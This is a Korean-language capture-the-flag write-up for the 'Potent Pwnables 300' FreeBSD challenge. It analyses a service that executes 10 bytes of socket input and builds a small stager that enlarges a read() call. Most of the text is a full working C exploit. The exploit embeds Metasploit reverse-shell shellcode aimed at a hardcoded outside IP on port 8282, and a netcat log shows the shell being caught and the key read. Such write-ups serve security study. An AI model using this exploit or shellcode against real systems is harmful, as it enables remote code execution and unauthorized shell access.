* Potent Pwnables 300 FreeBSD remote exploit 입니다. pwnage300은 read() 함수를 통해 사용자에게 10byte의 입력을 받고, 그 해당 코드를 실행하는 역할을 합니다. debug하기 어렵도록 signal alarm을 통해 잔머리를 써뒀더군요. 이것 역시 잔머리로 수정하여 debug가 가능합니다. 해당 부분 코드입니다. -- 8048d9a: 6a 0e push $0xe 8048d9c: e8 67 fc ff ff call 8048a08 8048da1: 83 c4 10 add $0x10,%esp 8048da4: 83 ec 0c sub $0xc,%esp 8048da7: 6a 02 push $0x2 // 굉장히 인색하네요. 8048da9: e8 ba fb ff ff call 8048968 ... -- socket 초기화 후에 fork(), accept()를 거쳐 취약한 함수를 호출하게 됩니다. -- 8048dae: 83 c4 10 add $0x10,%esp 8048db1: 83 ec 0c sub $0xc,%esp 8048db4: ff 75 f0 pushl 0xfffffff0(%ebp) 8048db7: e8 48 00 00 00 call 8048e04 // 취약 함수 호출. -- 취약점이 있는 함수를 분석해보면, -- // mmap() 호출을 통해 실행할 코드를 입력받는 루틴 시작 8048e16: 6a 00 push $0x0 8048e18: 6a ff push $0xffffffff 8048e1a: 68 11 10 00 00 push $0x1011 8048e1f: 6a 07 push $0x7 8048e21: 68 00 10 00 00 push $0x1000 8048e26: 68 00 60 04 08 push $0x8046000 8048e2b: e8 08 fb ff ff call 8048938 // mmap(0x08046000,0x1000,0x7,0x1011,0xffffffff,0); ... 8048e64: 6a 0a push $0xa 8048e66: ff 75 f8 pushl 0xfffffff8(%ebp) 8048e69: ff 75 08 pushl 0x8(%ebp) 8048e6c: e8 a7 fb ff ff call 8048a18 // read(sock,0x0804600,10); ... 8048e8d: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 8048e90: 89 45 f4 mov %eax,0xfffffff4(%ebp) 8048e93: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 8048e96: ff d0 call *%eax // 입력받은 코드 실행 8048e98: 89 45 f0 mov %eax,0xfffffff0(%ebp) 8048e9b: 83 ec 04 sub $0x4,%esp 8048e9e: 6a 04 push $0x4 8048ea0: 8d 45 f0 lea 0xfffffff0(%ebp),%eax 8048ea3: 50 push %eax 8048ea4: ff 75 08 pushl 0x8(%ebp) 8048ea7: e8 dc fa ff ff call 8048988 // 친절하게 코드 실행 결과를 write로 리턴 -- C로 재작성해보면, -- int vuln(int sock){ ... res=mmap(0x08046000,0x1000,0x7,0x1011,0xffffffff,0); if(res==-1){ perror("mmap error"); exit(...); } res=read(sock,0x0804600,10); if(res==-1){ error_function("ERROR reading from socket"); } res=*0x0804600(); write(sock,&res,4); ... } -- 보시다시피 mmap() 으로 맵핑된 공간 0x08046000에 코드 10byte를 올려두고 실행하는 간단한 구조입니다. call *%eax에 의해 호출되는 10byte 코드를 통해 read() 함수가 입력받는 크기를 조작할 수 있습니다. -- #1 8048e64: 6a 0a push $0xa #2 8048e66: ff 75 f8 pushl 0xfffffff8(%ebp) #3 8048e69: ff 75 08 pushl 0x8(%ebp) #4 8048e6c: e8 a7 fb ff ff call 8048a18 // read(sock,0x0804600,10); -- #1번에서 read() 함수의 세 번째 인자인 입력 크기를 설정하죠. 이 부분을 우리의 코드로 대처하면 됩니다. %eax 레지스터는 call 될 것이기 때문에 0x08046000 주소가 있겠죠. 이것을 stack에 push 하고 #2번을 수행하면 어떻게 될까요? -- push %eax (0x08046000) push 0x08046000 push sock; call read(); // read(sock,0x08046000,1345004448); -- 우리는 이렇게 read() 함수의 3번째 인자를 조작하여 0x08046000 즉, 1345004448byte 입력 가능하게 만들 수 있습니다. 결론적으로 10byte 공격 코드는 다음과 같습니다. -- "\x50" // push %eax "\x68\x66\x8e\x04\x08" // push $0x08048e66 #2 번으로 가기 위해. "\xc3" // ret (pop %eip) "\x82\x82\x82" // 10byte를 맞춰주기 위한 pad -- 다음은 exploit 입니다. -- /* ** ** 0x82-eat_pwnage300.c - Potent Pwnables 300 remote exploit by x82 ** ** pwnage300 exploit: -- ** [x82@x0x x82]$ nc -l -p 8282 ** /bin/sh -i ** sh: can't access tty; job control turned off ** $ id ** uid=2002(pwnage300) gid=2002(pwnage300) groups=2002(pwnage300) ** $ cat /home/pwnage300/key ** ViAgR@ 4 ur shellcode ** $ exit ** [x82@x0x x82]$ ** -- ** */ #include #include #include #include #include #include int main(int argc,char *argv[]){ unsigned char janmury[]= "\x50" // push %eax read() 함수의 세 번째 인자를 0x08046000(%eax) 만큼 받게 만듬. "\x68\x66\x8e\x04\x08" // push $0x08048e66 read() 호출부로 넘어갈 준비 "\xc3" // ret (pop %eip) read() 호출부 주소로 리턴 "\x82\x82\x82" // pad /* 0x08048e66: pushl 0xfffffff8(%ebp) 0x08048e69: pushl 0x8(%ebp) 0x08048e6c: call 8048a18 read(sock,0x0804600,10); 이렇게 리턴하면, 10byte를 3번째 인자로 쓰던 코드 대신에 1345004448 (0x08046000)만큼 입력받도록 만들 수 있으므로, 큰 shellcode 입력이 가능해 짐. read(sock,0x08046000,1345004448); */ ; /* 8282번으로 접속하는 metasploit 리버스 쉘코드 (쉘코드 만들 시간이 없어서 -_ㅠ) */ /* bsd_ia32_reverse - LHOST=221.154.133.30 LPORT=8282 Size=92 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x29\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0b" "\xe2\x2e\xc3\x83\xeb\xfc\xe2\xf4\x61\x83\x76\x5a\x59\xa0\x7c\x81" "\x59\x8a\xf3\x59\x8e\xfc\xe3\x43\x63\xf2\x2c\xe3\x51\x6b\xcf\xa9" "\x1b\xb3\x7e\x92\x9c\x88\x4c\x9b\xc6\x62\x44\xc1\x52\x52\x74\x92" "\x5c\xb3\xe3\x43\x42\x9b\xd8\x93\x63\xcd\x01\xb0\x63\x8a\x01\xa1" "\x62\x8c\xa7\x20\x5b\xb6\x7d\x90\xbb\xd9\xe3\x43"; struct hostent *se; struct sockaddr_in saddr; int sock; int i; printf("\nPotent Pwnables 300 remote exploit by x82\n\n"); if(argc<3){ printf("Usage: %s [host] [port]\n",argv[0]); exit(-1); } se=gethostbyname(argv[1]); if(se==NULL){ return -1; } sock=socket(AF_INET,SOCK_STREAM,0); if(sock==-1){ return -1; } saddr.sin_family=AF_INET; saddr.sin_port=htons(atoi(argv[2])); saddr.sin_addr=*((struct in_addr *)se->h_addr); bzero(&(saddr.sin_zero),8); i=connect(sock,(struct sockaddr *)&saddr,sizeof(struct sockaddr)); if(i==-1){ return -1; } // 공격 대상 바이너리에서 alarm의 인자를 0xff로 수정하면 디버깅이 가능. // sleep(10); send(sock,janmury,strlen(janmury),0); send(sock,scode,strlen(scode),0); close(sock); } /* eoc */ -- 공격 결과: -- [x82@x0x x82]$ nc -l -p 8282 /bin/sh -i sh: can't access tty; job control turned off $ id uid=2002(pwnage300) gid=2002(pwnage300) groups=2002(pwnage300) $ cat /home/pwnage300/key ViAgR@ 4 ur shellcode $ exit [x82@x0x x82]$